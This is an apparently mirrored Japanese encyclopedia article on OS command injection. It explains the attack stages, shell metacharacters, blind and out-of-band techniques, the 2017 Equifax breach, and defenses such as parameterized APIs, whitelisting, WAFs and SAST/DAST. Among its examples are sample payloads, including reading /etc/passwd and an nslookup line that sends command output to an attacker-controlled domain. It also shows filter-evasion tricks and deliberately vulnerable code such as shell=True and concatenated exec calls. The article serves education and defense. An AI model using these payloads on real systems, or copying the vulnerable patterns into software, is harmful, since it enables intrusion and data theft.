OSコマンドインジェクション

From Wikipedia, the free encyclopedia

OSコマンドインジェクション(オーエスコマンドインジェクション、英語:OS Command Injection)は、コンピュータセキュリティにおける脆弱性の一つであり、アプリケーションが外部からの入力を適切に処理せずにOSのコマンドを組み立てる際に、攻撃者によって任意のOSコマンドを不正に実行されてしまう危険性のある脆弱性、およびそれを利用した攻撃手法である[1][2]。OSのシェルを利用するためシェルインジェクションとも呼ばれる。

OSコマンドインジェクションは、アプリケーションが外部からの入力(フォーム、Cookie、HTTPヘッダなど)を適切に無害化せずに、OSコマンドを構築する際に発生する脆弱性である。これにより、攻撃者はOS上で任意のコマンドを注入し、実行することが可能になる[1]情報処理推進機構(IPA)では、「外部からの攻撃によってWebサーバーのOSコマンドを不正に実行されてしまう脆弱性」と定義している。この脆弱性が悪用されると、サーバー内の重要情報が盗まれたり、他のシステムへの攻撃の踏み台として悪用されたりする危険性がある[1]。国際的な脆弱性分類基準であるMITREの共通脆弱性タイプ一覧(CWE)では、この脆弱性は「CWE-78: OSコマンドで使用される特殊な要素の不適切な無害化」として分類されている[3]

OSコマンドインジェクションとコードインジェクションの攻撃手法は混同されがちであるが、攻撃のコンテキストと対象が異なる。OSコマンドインジェクションでは、アプリケーションの既存の機能を悪用し、OSのシェル上でコマンドを実行させるものである。攻撃者は新しいアプリケーションコードを注入するのではなく、アプリケーションを騙して不正なOSコマンドを実行させる[2]。攻撃の実行コンテキストはOSのコマンドインタプリタである。一方、コードインジェクションは、アプリケーション自体のプログラミング言語(例:PHPPython)で書かれた悪意のあるコードを注入し、アプリケーションの言語ランタイムに解釈・実行させるものである[4]。攻撃者はその言語の機能に制約されるが、多くの場合、そこからOSコマンドの実行へと権限昇格が可能である。OSコマンドインジェクションに対して、OSとの対話に安全なパラメータ化されたAPIを使用すること対策する。一方、コードインジェクションに対しては、`eval()`のような危険な関数の使用を避け、入力が決してアプリケーションの言語ランタイムによって実行可能なコードとして解釈されないようにすることで対策する[5]

攻撃方法

OSコマンドインジェクション攻撃は、一般的に以下の段階的な手順を踏む。

  1. 攻撃者の入力: 攻撃者は、Webサイトの入力フォームなどを通じて、シェルメタ文字を含む巧妙に細工された情報を送信する[6]
  2. アプリケーションによる処理: 脆弱性があるアプリケーションでは、受け取った入力情報を検証・無害化することなく、OSシェルで実行するためのコマンド文字列に連結する[7]
  3. シェルの呼び出し: 脆弱性があるアプリケーションは、このコマンド文字列をシステムのシェル(例:Linuxの`/bin/sh`、Windowsの`cmd.exe`)に渡して実行を要求する[2]
  4. コマンドの実行: シェルは渡された文字列を解釈し、攻撃者が注入した不正なコマンドを実行する。このとき、コマンドは通常、脆弱なアプリケーションの実行権限で動作する[2]

シェルメタ文字とコマンドセパレータの役割

OSコマンドインジェクションを可能にするのは、シェルがコマンド文字列の構造を解釈する方法を悪用する特殊文字(メタ文字)の存在である。これらの文字は、攻撃者が意図したコマンドの流れを乗っ取るための構文ツールとなる。

  • コマンドセパレータ: 複数のコマンドを連結実行するために使用される。
    • `;`(Unix/Windows)**: 前のコマンドの成否にかかわらず、コマンドを連続して実行する[2]
    • `&`(Unix/Windows)**: 最初のコマンドをバックグラウンドで実行し、即座に次のコマンドを実行する[2]
    • `&&`(Unix/Windows)**: 最初のコマンドが成功した場合にのみ、次のコマンドを実行する[8]
    • `|`(Unix/Windows)**: 最初のコマンドの出力を、次のコマンドの入力として渡す(パイプ)[2]
    • `||`(Unix/Windows)**: 最初のコマンドが失敗した場合にのみ、次のコマンドを実行する[8]
    • 改行文字(`\n` または `0x0a`)**: Unix系シェルではコマンド区切りとして機能することがある[9]
  • インライン実行:
    • バッククォート(`` `cmd` ``)**: `` `cmd` `` の部分をコマンド`cmd`の実行結果で置き換える[10]
    • `$()`**: バッククォートのより現代的でネスト可能な代替手段である[8]

これらの脆弱性が明らかになっているにもかかわらず、依然として主要なセキュリティリスクとして存在し続けている。IPAやOWASPのような権威機関が10年以上にわたって詳細なガイダンスを提供し続けているにもかかわらず[11]、2024年になってもCISAFBIが重要なネットワークエッジデバイスにおける同脆弱性について共同で警告を発している[12]。これらの脆弱性は、`system()`や`exec()`といった既知の危険な関数を無防備な入力と共に使用することで生じることが多い[2]

表1:シェルメタ文字とその機能
文字 説明 オペレーティングシステム ペイロード例
; コマンドを連続して実行する(前のコマンドの成否を問わない) Unix/Windows cat /etc/passwd; whoami
& コマンドをバックグラウンドで実行し、次のコマンドを即時実行する Unix/Windows sleep 5 & whoami
&& 最初のコマンドが成功した場合にのみ、次のコマンドを実行する Unix/Windows cd /var/www && ls -la
| 最初のコマンドの出力を次のコマンドの入力として渡す(パイプ) Unix/Windows grep root
|| 最初のコマンドが失敗した場合にのみ、次のコマンドを実行する Unix/Windows cd non_existent_dir
$(...) コマンドの実行結果で置き換える Unix echo $(whoami)
`...` コマンドの実行結果で置き換える(旧式) Unix echo `whoami`
> コマンドの出力をファイルにリダイレクトする(上書き) Unix/Windows whoami > /tmp/user.txt

OSコマンドインジェクションの応用

古典的な結果ベースのインジェクション

これは最も直接的なインジェクションの形態であり、注入されたコマンドの実行結果がアプリケーションのHTTPレスポンスに直接返される[13]。例えば、攻撃者が脆弱なパラメータに`; whoami`を注入すると、ウェブページのレスポンスに「www-data」といった実行ユーザー名が含まれて返ってくることがある[6]。これにより、攻撃者は即座にエクスプロイトの成功を確認し、アプリケーションの実行コンテキストを把握することができる。

ブラインドOSコマンドインジェクション

これはより高度なシナリオで、アプリケーションがコマンドの出力をレスポンスに返さない場合の手法である。攻撃者は、間接的な手段を通じてコマンドの実行成否を推測する必要がある[14]。この手法の理解は、単純な出力ベースの検知を回避する攻撃に対処する上で不可欠である。

時間差攻撃

攻撃者は、`ping -c 10 127.0.0.1`(10秒間の遅延)や`sleep 5`(5秒間の遅延)のように、測定可能な時間遅延を引き起こすコマンドを注入する[14]。HTTPレスポンスが指定した時間だけ遅延した場合、攻撃者は脆弱性が存在し、コマンドが実行されたと確信する。これは、ブラインド脆弱性を悪用する際の一般的な最初のステップである。

出力リダイレクション

攻撃者は、実行したコマンドの出力を、ウェブからアクセス可能なディレクトリ(例:`/var/www/static/`)内のファイルにリダイレクトする。ペイロードは`& whoami > /var/www/static/output.txt`のようになる[14]

アウトオブバンドテクニック

攻撃者は、侵害したサーバーに、自身が制御する外部のシステムへのネットワーク接続(アウトオブバンド通信)を強制する。これは、`nslookup`、`curl`、`wget`といったコマンドを用いて行われることが一般的である。攻撃者は自身のDNSサーバーを監視し、このドメインへの名前解決リクエストが来たかどうかでコマンドの実行を確認できる。さらに、コマンドの実行結果をDNSクエリに埋め込むことで、データを窃取することも可能である。例えば、`& nslookup `whoami`.attacker-controlled-domain.com`というペイロードを送信する[14]。攻撃者のDNSサーバーは`www-data.attacker-controlled-domain.com`のようなクエリを受け取り、これにより実行ユーザー名を窃取できる。

引数インジェクション

これは、見過ごされがちな巧妙な亜種であり、攻撃者の入力は新しいコマンドを生成するのではなく、意図されたコマンドに悪意のある引数を注入する[15]。この攻撃は、コマンドの振る舞いを危険な方法で変更するフラグやオプション(例:出力をファイルに書き込む、サブプロセスを実行する)を受け入れるコマンドを悪用する。

難読化

攻撃者は様々な難読化手法を用いて対策を回避しようとする。以下はその例である。

  • エンコーディング: URLエンコーディング、16進数エンコーディング、Base64などを用いて、悪意のある文字をWAFから隠蔽する(例:`;`を`%3B`に変換)[16]
  • 大文字・小文字の変換: 大文字と小文字を混ぜる(例:`select`を`SeLeCt`にする)ことで、大文字・小文字を区別するパターンマッチングを無効化する[16]
  • 空白文字による難読化: コメント(`/**/`)や通常とは異なる空白文字を使用して、悪意のある文字列を分割し、検知を困難にする[17]
  • 引数の難読化(Windows): 環境変数置換を利用して、ブロックされている文字を使わずにコマンドを構築する。例えば、`ping%PROGRAMFILES:~10,1%127.0.0.1`とすることで、スペース文字を生成する[18]

攻撃例( Equifax社に対するOSコマンドインジェクション)

2017年、Equifax社において、OSコマンドインジェクションにより大規模なデータ漏洩事件が発生した。原因は、Equifaxがオンラインの異議申し立てポータルで使用していたWebアプリケーションフレームワーク、Apache Struts 2に存在した既知のOSコマンドインジェクション脆弱性であった[19]。この脆弱性は、巧妙に細工された`Content-Type` HTTPヘッダを介して、リモートの攻撃者が任意のOSコマンドを実行できるというものであった[19]。Equifaxは2017年3月にこの脆弱性に対するパッチ適用の通知を受けていたが、影響を受けるシステムへの適用を怠っていた[20]

2017年5月、攻撃者はパッチ未適用のStruts脆弱性を悪用し、サーバーへの足がかりを確保した。 攻撃者は侵害したサーバー上で、暗号化されていないユーザー名とパスワードを含むファイルを発見した。この認証情報を利用して、Equifaxのネットワーク内にある、本来関連のない48のデータベースにアクセスした[20]。これは、適切なネットワークセグメンテーション成されていなかったために可能となった[21]。2017年5月~7月、攻撃者は約9,000回のクエリを実行し、約1億4800万人分の個人識別情報にアクセスし、外部へ持ち出した[22]。この不正アクセスは76日間も気づかれなかった。その原因は、ネットワークトラフィックを監視する役割のデバイスのセキュリティ証明書が19ヶ月間も失効しており、機能していなかったためである。この侵害は、2017年7月29日に証明書が更新され、不審なトラフィックが検知されたことでようやく発覚した[20]

Equifaxは、連邦取引委員会(FTC)、消費者金融保護局(CFPB)、および全米50州との間で、最大7億ドルの和解に達した。その後、すべての請求を解決するための和解金総額は13億8000万ドルと報告されている[22]。また、事後処理とセキュリティシステムの刷新に14億ドル以上を費やした[21]。この事件の余波で、Equifax社のCEOCIO、CSOが全員辞任に追い込まれた[20]

OSコマンドインジェクションへの対策

サニタイズより回避

OSコマンドインジェクションを防ぐ最も効果的な方法は、より安全な言語ネイティブのAPIが存在する場合、アプリケーション層のコードからOSコマンドを直接呼び出さないことである[11]。例えば、`system("mkdir " + dirName)` の代わりに、言語に組み込まれた `mkdir()` 関数を使用する[15]。これにより、シェルインタプリタがプロセスから完全に排除される。

パラメータ化

OSコマンドの実行が避けられない場合、次善の策は、コマンドとその引数を厳密に分離するAPIを使用することである。これはパラメータ化として知られている。

  • Java:
    • 危険な例: `Runtime.getRuntime().exec("cmd.exe /c dir " + userInput);`[23]。このコードは単一の文字列を連結するため脆弱である。`Runtime.exec`はデフォルトではシェルを呼び出さないが、`cmd /c`と組み合わせることでリスクが再導入される[23]
    • 安全な例: `ProcessBuilder`を使用し、コマンドと各引数をリストの個別の要素として渡す:`new ProcessBuilder("ls", "-l", userInput);`[23]。これにより、`userInput`はシェルによって解釈されるのではなく、単一のリテラルな引数として扱われる。
  • Python:
    • 危険な例: `subprocess.run("nslookup " + hostname, shell=True)`[23]。`shell=True`引数は、文字列全体をシステムシェルに渡して解釈させるため、極めて危険である[23]
    • 安全な例: 引数をリストとして渡す:`subprocess.run(["nslookup", hostname])`。デフォルトの`shell=False`が安全な選択である[23]
    • `shlex`による強化: ユーザー入力から引数リストを構築する際の安全性を最大化するためには、`shlex.quote()`を使用して、入力が単一のシェルセーフなトークンとして扱われるようにする:`subprocess.run(["my_script.sh", shlex.quote(user_input)])`[23]
  • PHP:
    • 危険な例: `exec("ping -c 4 ". $_GET['host']);`[23]。これは典型的な文字列連結による脆弱性である。
    • 安全な例: `escapeshellarg()`を使用してユーザー入力が単一の引用符で囲まれた引数として渡されるようにし、`escapeshellcmd()`を使用してコマンド自体をメタ文字からエスケープする。この組み合わせは多層的な防御を提供する:`exec(escapeshellcmd("ping -c 4 ". escapeshellarg($_GET['host'])), $output);`[23]

ホワイトリスト方式、ブラックリスト方式による入力検証

  • ホワイトリスト方式: 推奨される方法である。入力を、既知の安全な値の厳密なリストやパターン(例:許可されたファイル名のリスト、IPアドレスの正規表現)と照合し、それ以外のすべての入力を拒否する[24]
  • ブラックリスト方式: `|`、`;`、`&`などの既知の不正な文字をブロックしようとする、ホワイトリストより弱いアプローチであり、エンコーディングやあまり知られていないシェルのトリックによって容易に回避される[24]

最小権限での実行

Webアプリケーションは、専用の低権限ユーザーアカウントで実行するべきである[25]。これにより、万が一コマンドインジェクション脆弱性が悪用された場合でも、攻撃者のコマンドはそのユーザーの限定された権限でしか実行されない。結果として、重要なシステムファイルの変更、ルートキットのインストール、他のアプリケーションのデータへのアクセスなどを防ぎ、被害を大幅に軽減することができる。

表3:プログラミング言語別の脆弱な関数と安全な代替手段
言語 危険なパターン(脆弱な関数) 安全な代替手段(関数/メソッド) 主要なセキュリティ原則
Java Runtime.getRuntime().exec("command " + input); new ProcessBuilder("command", "arg1", input); パラメータ化、シェル呼び出しの回避
Python subprocess.run(cmd_string, shell=True) subprocess.run(["command", "arg1", input]) パラメータ化、shell=Trueの回避
os.system("command " + input) shlex.quote()で入力をエスケープ シェルエスケープ
PHP exec("command ". $input); exec(escapeshellcmd("command ". escapeshellarg($input))); 引数とコマンドのエスケープ
system("command ". $input); escapeshellarg()で引数を安全に渡す パラメータ化
C/C++ system("command " + input.c_str()); execvp()ファミリー関数で引数を配列で渡す パラメータ化、シェル呼び出しの回避
Node.js child_process.exec("command " + input); child_process.execFile("command", ["arg1", input]); パラメータ化、シェル呼び出しの回避

Webアプリケーションファイアウォール(WAF)の導入

WAFはWebアプリケーションの前面に配置され、HTTPトラフィックを検査し、コマンドインジェクションペイロードを含む悪意のあるリクエストを特定・ブロックする[24]。その検知メカニズムは主に以下の通りである。

  • シグネチャベース検知: リクエストデータを、既知の攻撃パターンのデータベース(例:`";/bin/sh"`)と照合する[26]
  • ヒューリスティック(振る舞い)検知: ルールや機械学習を用いて、既知のシグネチャに一致しなくても、通常のユーザーの振る舞いから逸脱した異常なリクエストを検知する[26]

SAST・DASTの導入

脆弱性が本番環境に到達する前に発見するためには、開発段階で自動化されたテストを行う。

静的アプリケーションセキュリティテスト(SAST)

「ホワイトボックステスト」ツールであり、アプリケーションを実行せずにソースコード、バイトコード、またはバイナリをスキャンする[27]。SASTはコマンドインジェクションの欠陥を発見するのに非常に効果的である。`os.system`や`subprocess.run(..., shell=True)`のような危険なパターンの使用を特定し、ユーザー制御可能なデータがこれらの「シンク(危険な関数)」に流れ込むのを追跡できる[27]

動的アプリケーションセキュリティテスト(DAST)

「ブラックボックステスト」ツールであり、実行中のアプリケーションと対話し、悪意のあるペイロードを送信してレスポンスを分析し、脆弱性を発見する[27]。コマンドインジェクションに対する有効性: DASTは脆弱性が実際に悪用可能かどうかを確認するのに有効である。SASTが見逃す可能性のある設定ミスや実行時の問題を検出できる。実際の攻撃者の視点をシミュレートする[24]

その他

  • セキュアSDLC(Secure Software Development Lifecycle)を導入し、要件定義から設計、開発、テスト、展開、保守に至るまで、ソフトウェア開発ライフサイクルのあらゆるフェーズにセキュリティプラクティスを統合する。
  • セキュリティ意識の高い文化の構築、開発者トレーニング。
  • ログ・ファイル・メモリ使用量調査を分析するフォレンジック調査[9][10] の実施。

脚注

関連項目

外部リンク

Related Articles

Wikiwand AI